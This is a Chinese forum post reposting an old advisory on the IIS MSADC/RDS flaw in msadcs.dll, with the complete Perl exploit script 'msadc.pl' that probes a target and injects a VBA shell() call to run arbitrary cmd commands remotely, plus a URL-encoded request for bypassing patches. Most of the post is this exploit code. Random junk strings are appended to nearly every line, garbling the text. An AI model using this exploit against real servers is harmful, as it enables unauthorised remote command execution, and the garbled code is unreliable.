社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 165184阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) `r6,+&  
0 1rK8jX  
涉及程序: Q->sV$^=T  
Microsoft NT server i>`%TW:g  
Naf0)3q>!  
描述: v0{i0%d,?  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 W:2( .?  
kiaw4_  
详细: Ty?cC**  
如果你没有时间读详细内容的话,就删除: q6luUx,@m  
c:\Program Files\Common Files\System\Msadc\msadcs.dll _1\v  
有关的安全问题就没有了。 _ ]ip ajT  
D#C~pdp  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 7&)bJ@1U  
eu-*?]&Di  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 +{.WQA}z\  
关于利用ODBC远程漏洞的描述,请参看: P/eeC"  
cKI9#t_  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 'rkdZ=x{  
zR:L! S  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 F@KGj|  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp &K#M*B ,*p  
IM'r8 V  
这里不再论述。  =j]<t  
oJz^|dW  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: +mj y<~\  
?);v`]  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 1.GQau~  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ;A'mB6?%H  
<iC(`J$D  
i-_mTY&M  
#将下面这段保存为txt文件,然后: "perl -x 文件名" g*_&  
%ntRG !  
#!perl %5n_ p^xp  
# Xl#ggub?  
# MSADC/RDS 'usage' (aka exploit) script E{`fF8]K  
# 45c$nuZ  
# by rain.forest.puppy *] ) `z8Ox  
# vpr.Hn  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me uo 8YP<q  
# beta test and find errors! jV1.Yz (`  
hMO=#up&  
use Socket; use Getopt::Std; wlqksG[B  
getopts("e:vd:h:XR", \%args); \Gvm9M  
yNBfUj -L  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; .Yn_*L+4*  
db7B^|Di  
if (!defined $args{h} && !defined $args{R}) { g8% &RG  
print qq~ #q=Efn'  
Usage: msadc.pl -h <host> { -d <delay> -X -v } +a+Om73B2  
-h <host> = host you want to scan (ip or domain) ^hM4j{|&M  
-d <seconds> = delay between calls, default 1 second *.t 7G  
-X = dump Index Server path table, if available .W!i7  
-v = verbose (hbyEQhF  
-e = external dictionary file for step 5 O_7|C\]  
}S-O& Z  
Or a -R will resume a command session _]H&,</  
`Ggbi4),  
~; exit;} JK5gQ3C[  
8(~ h"]`!  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; %dVZ0dl  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} H<,gU`&R  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} bq*eH (qx  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); \_f(M|  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} n{mfn *r.  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } +ye3HGD  
?Z/V~,  
if (!defined $args{R}){ $ret = &has_msadc; n/:33DAB  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} eD6fpe\(  
@*( (1(q  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 1oGw4kD^x  
. "cmd /c "; 8<Av@9 *}  
$in=<STDIN>; chomp $in; )Ql%r?(F+  
$command="cmd /c " . $in ; Vt#.eL)Ee  
e(t\g^X  
if (defined $args{R}) {&load; exit;} @:#eb1 <S  
p<"mt]  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; /a4{?? #e  
&try_btcustmr; XW] tnrs  
(O3nL.  
print "\nStep 2: Trying to make our own DSN..."; eeB{c.#  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; _w +Qy.  
4H&+dR I"  
print "\nStep 3: Trying known DSNs..."; Rima;9.Y0  
&known_dsn; AoxA+.O  
U>N1Od4vTO  
print "\nStep 4: Trying known .mdbs..."; N<}5A%  
&known_mdb; wb l&  
ZD{LXJ{Vm  
if (defined $args{e}){ y}|s&4Sq  
print "\nStep 5: Trying dictionary of DSN names..."; 4,DeHJjAlE  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Y$@?.)tY  
Lp9E:D->  
print "Sorry Charley...maybe next time?\n"; oCz/HQoBk  
exit; /7YIn3  
<RL]  
############################################################################## (9dl(QSd  
DB,J3bm  
sub sendraw { # ripped and modded from whisker /%^#8<=|U  
sleep($delay); # it's a DoS on the server! At least on mine... 3[*}4}k9  
my ($pstr)=@_; H4+i.*T#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || D*d]aC  
die("Socket problems\n"); ]t"Ss_,  
if(connect(S,pack "SnA4x8",2,80,$target)){ PEZ!n.'S  
select(S); $|=1; =UWI9M*sz  
print $pstr; my @in=<S>; |yPu!pfl  
select(STDOUT); close(S); I; rGD^  
return @in; c]!V'#U  
} else { die("Can't connect...\n"); }} WH^%:4  
a\*yZlXKs  
############################################################################## UkFC~17P  
Z,PPu&lmE/  
sub make_header { # make the HTTP request 6D3B^.r j]  
my $msadc=<<EOT X"%gQ.1|{j  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 yJIscwF  
User-Agent: ACTIVEDATA ;aVZ"~a+\  
Host: $ip l.M0`Cn-%  
Content-Length: $clen Iu=(qU  
Connection: Keep-Alive c-sfg>0^  
2D5StCF$O  
ADCClientVersion:01.06 La[V$+Y  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 3ckclO\|>  
`Urhy#LC  
--!ADM!ROX!YOUR!WORLD! FGzwhgy  
Content-Type: application/x-varg ,I;> aE<#  
Content-Length: $reqlen ;!Fn1|)  
r5^eNg k  
EOT k+*u/neh  
; $msadc=~s/\n/\r\n/g; x]j W<A  
return $msadc;} V !~wj  
2GG2jky{/  
############################################################################## zfdl45  
=?8@#]G+  
sub make_req { # make the RDS request I7 ]8Y=xf  
my ($switch, $p1, $p2)=@_; N?8!3&TiV  
my $req=""; my $t1, $t2, $query, $dsn; f _:A0  
j1<Yg,_.p  
if ($switch==1){ # this is the btcustmr.mdb query CAf6:^0  
$query="Select * from Customers where City=" . make_shell(); &UFZS94@r  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . P.DK0VgY  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} #AY&BWS$  
gjlx~.0d  
elsif ($switch==2){ # this is general make table query <C*hokqqP  
$query="create table AZZ (B int, C varchar(10))"; {{!-Gr  
$dsn="$p1";} ~"A0Rs=  
UPGtj"2v-  
elsif ($switch==3){ # this is general exploit table query Q/Rqa5LI:  
$query="select * from AZZ where C=" . make_shell(); {n=|Db~S  
$dsn="$p1";} yB!dp;gM{  
x4O~q0>:Le  
elsif ($switch==4){ # attempt to hork file info from index server t_1L L >R  
$query="select path from scope()"; /x *3}oI  
$dsn="Provider=MSIDXS;";} \w8\1~#  
7d\QB (~  
elsif ($switch==5){ # bad query K (|}dl:  
$query="select"; @O~pV`_tD  
$dsn="$p1";} nJ;.Td  
R.3q0yZ wF  
$t1= make_unicode($query); cWm$;`Q#\  
$t2= make_unicode($dsn); # f\rt   
$req = "\x02\x00\x03\x00"; 8zb /xP>  
$req.= "\x08\x00" . pack ("S1", length($t1)); n=q 76W\  
$req.= "\x00\x00" . $t1 ; 7xR\kL.,  
$req.= "\x08\x00" . pack ("S1", length($t2)); _#8MkW#]~  
$req.= "\x00\x00" . $t2 ; "J1 4C9u   
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; -G=]=f/'  
return $req;} 2fS:- 8N  
vih9 KBT  
############################################################################## J .%IfN  
/mZE/>&~ ,  
sub make_shell { # this makes the shell() statement Zwx%7l;C  
return "'|shell(\"$command\")|'";} !5N.B|N t  
!<h)w#>en  
############################################################################## xyxy`qRA  
@(lh%@hO  
sub make_unicode { # quick little function to convert to unicode l+b~KU7~l  
my ($in)=@_; my $out; |vC~HJpuv'  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } {.]7!ISl5  
return $out;} 2KZneS`  
;FEqe 49  
############################################################################## %l%HHT  
K)P%;X  
sub rdo_success { # checks for RDO return success (this is kludge) !@"OB~  
my (@in) = @_; my $base=content_start(@in); SS2%q v  
if($in[$base]=~/multipart\/mixed/){ 3(UVg!t  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} V VCZ9MVJ  
return 0;} uw8f ~:LT  
y)<q /  
############################################################################## 2A!FDr~cdT  
]_$[8#kg  
sub make_dsn { # this makes a DSN for us 5IG-~jzCLb  
my @drives=("c","d","e","f"); (V@HR9?W)  
print "\nMaking DSN: "; 4&iCht =  
foreach $drive (@drives) { Z30A{6}  
print "$drive: "; "wc<B4"  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 2Z%O7V~u  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" IVmo5,&5(  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); E(|>Ddv B&  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; }K9H^H@r!  
return 0 if $2 eq "404"; # not found/doesn't exist yh=N@Z*zP  
if($2 eq "200") { 8b=_Y;  
foreach $line (@results) { eV~goj  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} K<J9 ~  
} return 0;} DaVa}  
LIrb6g&xj_  
############################################################################## F:ELPs4"  
.G\7cZ  
sub verify_exists { T]$U""  
my ($page)=@_; #A.@i+Zv  
my @results=sendraw("GET $page HTTP/1.0\n\n"); :gC#hmm^  
return $results[0];} BJ0?kX@  
%|4UsWZ  
############################################################################## Y9|!+,  
WEpoBP CL  
sub try_btcustmr { bPMhfK2 %  
my @drives=("c","d","e","f"); )`}:8y?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); y+;|Fz  
xN(|A}w  
foreach $dir (@dirs) { !!y a  
print "$dir -> "; # fun status so you can see progress MO]&bHH7;  
foreach $drive (@drives) { nj4/#W  
print "$drive: "; # ditto dqAw5[qMJ  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; h `wD  
$reqlenlen=length( "$reqlen" ); B erwI 7!=  
$clen= 206 + $reqlenlen + $reqlen; l;V173W=&  
tMe~vq[  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); L0]_X#s>#  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 1 {)Q[#l  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} <-0]i_4sK  
azU"G(6y?+  
############################################################################## Y^]rMK/;  
O H7FkR  
sub odbc_error { .p$(ZH =~  
my (@in)=@_; my $base; 2TuU2 f.  
my $base = content_start(@in); y> (w\K9W  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 8>%hz$no=  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (iGTACoF  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; -Qe Z#w|  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; L=h'Qgk%  
return $in[$base+4].$in[$base+5].$in[$base+6];} .sA.C] f  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 'ig'cRD6N  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . hzC>~Ub5  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} PRT +mT  
{:W$LWET  
############################################################################## t:c.LFrF  
-.3w^D"l  
sub verbose { @|)Z"m7  
my ($in)=@_; L8n|m!MOD  
return if !$verbose; y_9Ds>p!T  
print STDOUT "\n$in\n";} 6zn5UW#q  
D#z:()VT(  
############################################################################## GJUL$9  
FgI3   
sub save { l+0P  
my ($p1, $p2, $p3, $p4)=@_; ?hM64jI|  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; /Q )\+  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; j~QwV='S  
close OUT;} Qei" '~1a  
\di=  
############################################################################## yppo6HGD  
$7uA%|\  
sub load { HorDNRyu  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; p<;0g9,1  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ,Lt[\_  
@p=<IN>; close(IN); iyog`s c  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 39jG8zr=Z[  
$target= inet_aton($ip) || die("inet_aton problems"); -{+}@?  
print "Resuming to $ip ..."; l@:0e]8|o  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; wdZ/Xp9]  
if($p[1]==1) { PxE3K-S)G  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Lh<).<S  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; [1KuzCcK}  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); bu"!jHPB  
if (rdo_success(@results)){print "Success!\n";} 0|b>I!_"g  
else { print "failed\n"; verbose(odbc_error(@results));}} &VcV$8k  
elsif ($p[1]==3){ ]+$?u&0?w  
if(run_query("$p[3]")){ W}1 ;Z(.*  
print "Success!\n";} else { print "failed\n"; }} bJ;'`sw1  
elsif ($p[1]==4){ ;UP$yM;  
if(run_query($drvst . "$p[3]")){ E.>4C[O  
print "Success!\n"; } else { print "failed\n"; }} 2Hv+W-6v  
exit;} YAmb`CP  
>"<Wjr8W!$  
############################################################################## 3yXY.>'  
k$7Jj-+~  
sub create_table {  RX5dO%  
my ($in)=@_; 8KNZ](Dj  
$reqlen=length( make_req(2,$in,"") ) - 28; cs'{5!i]  
$reqlenlen=length( "$reqlen" ); 4'Zp-k?5`  
$clen= 206 + $reqlenlen + $reqlen; d`6 ' Z  
my @results=sendraw(make_header() . make_req(2,$in,"")); V470C@  
return 1 if rdo_success(@results); qyNyBr?  
my $temp= odbc_error(@results); verbose($temp); e~':(/%|5;  
return 1 if $temp=~/Table 'AZZ' already exists/; "wHFN>5B  
return 0;} D#)b+7N-  
E+JqWR5  
############################################################################## V2G6Kw9gt  
MqUH',\3  
sub known_dsn { 1!gbTeVlY  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go S Z$Kz n  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", *WT`o>  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", >dG[G>  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 7\q~%lDE  
6MkP |vr6  
foreach $dSn (@dsns) { ;w[0t}dPl  
print "."; {.\TtE  
next if (!is_access("DSN=$dSn")); #C3.Jef  
if(create_table("DSN=$dSn")){ -D$8  
print "$dSn successful\n"; O8.5}>gDn.  
if(run_query("DSN=$dSn")){ i7>tU=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { IN G@B#Cl  
print "Something's borked. Use verbose next time\n";}}} print "\n";} YUIi;  
;d9QAN&0}  
############################################################################## XvlU*TO~(~  
^v`\x5"Vp  
sub is_access { C73 kJa  
my ($in)=@_; ^`>/.gL  
$reqlen=length( make_req(5,$in,"") ) - 28; k)Qtfj}uij  
$reqlenlen=length( "$reqlen" ); :[!j?)%>  
$clen= 206 + $reqlenlen + $reqlen; h2""9aP !  
my @results=sendraw(make_header() . make_req(5,$in,"")); \;"=QmRD%:  
my $temp= odbc_error(@results); iW /}#  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); b%/ 1$>_  
return 0;} tC9n k5~  
& 9 ?\b7  
############################################################################## ;BIY^6,7e  
qm o9G  
sub run_query { 46&/gehr  
my ($in)=@_;  !=P1%  
$reqlen=length( make_req(3,$in,"") ) - 28; "!%l/_p?  
$reqlenlen=length( "$reqlen" );  'CkIz"Wd  
$clen= 206 + $reqlenlen + $reqlen; $'hEz/  
my @results=sendraw(make_header() . make_req(3,$in,"")); .=jay{  
return 1 if rdo_success(@results); K&KWN]  
my $temp= odbc_error(@results); verbose($temp); s6^>F/x  
return 0;} exUu7& *:  
 O+Y6N  
############################################################################## u($ !z^h  
<3C*Z"aQ>|  
sub known_mdb { ^qD$z=z-  
my @drives=("c","d","e","f","g"); |2n4QBH!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 'u |c  
my $dir, $drive, $mdb; C={Y;C1  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; VZmLS 4E  
ByNn  
# this is sparse, because I don't know of many 9e,0\J  
my @sysmdbs=( "\\catroot\\icatalog.mdb", JB[~;nLlC  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", )C]g ld;8  
"\\system32\\certmdb.mdb", hp-<2i^"!  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Y^EcQzLw  
dvJ M6W>^=  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", >_"an~Ss  
"\\cfusion\\cfapps\\forums\\forums_.mdb", |Uh  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", D!-g&HBTC  
"\\cfusion\\cfapps\\security\\realm_.mdb", FZslv"F  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", <s<n  
"\\cfusion\\database\\cfexamples.mdb", S2GxV/E  
"\\cfusion\\database\\cfsnippets.mdb", xBi' X  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", PKg@[<g43  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", EVC]sUT  
"\\cfusion\\brighttiger\\database\\cleam.mdb", GH:jH]u!V  
"\\cfusion\\database\\smpolicy.mdb", ]R f[y  
"\\cfusion\\database\cypress.mdb", zL`iK"N`  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", MC.) 2B7  
"\\website\\cgi-win\\dbsample.mdb", C mWgcw1  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", V7fq4O^:  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ::{Q1F  
); #these are just 2?ez,*-[  
foreach $drive (@drives) { UIN<2F_  
foreach $dir (@dirs){ hAnPXiD  
foreach $mdb (@sysmdbs) { >rKIG~P_  
print "."; } .m<  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ =QiI :|eRA  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ;LSANr&  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ UJ7*j%XQz_  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; %oa-WmWm  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 3>`mI8 $t  
W_(j3pV?Ml  
foreach $drive (@drives) { E GU 0)<  
foreach $mdb (@mdbs) { X296tA>C`  
print "."; 9BBmw(M}  
if(create_table($drv . $drive . $dir . $mdb)){ kr:^tbJ  
print "\n" . $drive . $dir . $mdb . " successful\n"; c"V"zg22  
if(run_query($drv . $drive . $dir . $mdb)){ EF}\brD1  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; r 8rgY42  
} else { print "Something's borked. Use verbose next time\n"; }}}} J({Xg?  
} vJc-6EO  
T9_RBy;%  
############################################################################## >T3-  
{~"/Y@&]R  
sub hork_idx { mtp+rr  
print "\nAttempting to dump Index Server tables...\n"; ]e>w }L(gV  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; !_D0vI;  
$reqlen=length( make_req(4,"","") ) - 28; 9YQb &  
$reqlenlen=length( "$reqlen" ); ^{;oM^Q'  
$clen= 206 + $reqlenlen + $reqlen; Z<y I\1  
my @results=sendraw2(make_header() . make_req(4,"","")); [KaAXv .X  
if (rdo_success(@results)){ ^-Kf']hU  
my $max=@results; my $c; my %d; V0.vQ/  
for($c=19; $c<$max; $c++){ jaMjZp;{(  
$results[$c]=~s/\x00//g; as4;:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; dx{bB%?Y\=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; u^bidd6JRn  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; sF?TmBQ*  
$d{"$1$2"}="";} Z=Y& B>:[  
foreach $c (keys %d){ print "$c\n"; } p Vw}g@<M  
} else {print "Index server doesn't seem to be installed.\n"; }} QP8Ei~  
u jq=F  
############################################################################## 6/Xk7B  
Eog0TQ+*  
sub dsn_dict { a /l)qB#  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); {9;CNsd  
while(<IN>){ >#~& -3  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; _w(7u(Z  
next if (!is_access("DSN=$dSn")); R0]1xGz  
if(create_table("DSN=$dSn")){ (\hx` Yh=>  
print "$dSn successful\n"; i8[t=6Rm@  
if(run_query("DSN=$dSn")){ D] jz A x  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { FR4QUk  
print "Something's borked. Use verbose next time\n";}}} pW@Pt 3u  
print "\n"; close(IN);} wb5baY9  
tip+q d  
############################################################################## fg!__Rdi  
zrL$]Oy}x  
sub sendraw2 { # ripped and modded from whisker )c83/= <v  
sleep($delay); # it's a DoS on the server! At least on mine... foF({4q7b^  
my ($pstr)=@_; %.Fi4}+O  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || q?oP?cCw  
die("Socket problems\n"); w QH<gJE/:  
if(connect(S,pack "SnA4x8",2,80,$target)){ K>r,(zgVc  
print "Connected. Getting data"; )=Z>#iH1  
open(OUT,">raw.out"); my @in; ]J}  
select(S); $|=1; print $pstr; 3kIN~/<R+7  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} +N9X/QFKV  
close(OUT); select(STDOUT); close(S); return @in; C]eSizS.  
} else { die("Can't connect...\n"); }} '}JhzKNj  
X!Mx5fg  
############################################################################## B=yqW  
N^ds RYC  
sub content_start { # this will take in the server headers V>)OpvoT#  
my (@in)=@_; my $c; t?ZI".>  
for ($c=1;$c<500;$c++) { ^ft>@=K(|  
if($in[$c] =~/^\x0d\x0a/){ YEs&  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 7>|J8*/Nd  
else { return $c+1; }}} 4 \K7xM!  
return -1;} # it should never get here actually S)k*?dQ##R  
*1 ]uH e  
############################################################################## EXwo,?I  
oMD>Yw c-  
sub funky { D},>mfzF  
my (@in)=@_; my $error=odbc_error(@in); 5k3n\sqZA  
if($error=~/ADO could not find the specified provider/){ ?(y*nD[a  
print "\nServer returned an ADO miscofiguration message\nAborting.\n";  |`f$tj  
exit;} F/bT)QT<f  
if($error=~/A Handler is required/){ ?m=N]!n  
print "\nServer has custom handler filters (they most likely are patched)\n"; #*uL)2nR  
exit;} +p_CN*10H  
if($error=~/specified Handler has denied Access/){ UcDS9f_87  
print "\nServer has custom handler filters (they most likely are patched)\n"; NP#w +Qw  
exit;}} z^q0/'  
YTpSHpf@  
############################################################################## c9'vDTE%~  
 &)Tdc  
sub has_msadc { OwUhdiG  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); GT!M[*[  
my $base=content_start(@results); wj<6kG  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); /y#f3r+*2  
return 0;} =Z3F1Cq?  
f ue(UMF~  
######################## Sh~dwxp*"  
}6}l7x  
r CHl?J  
解决方案: JEwa &  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll -M~:lK]n   
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 +z\^t_"f  
Lpz>>}  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五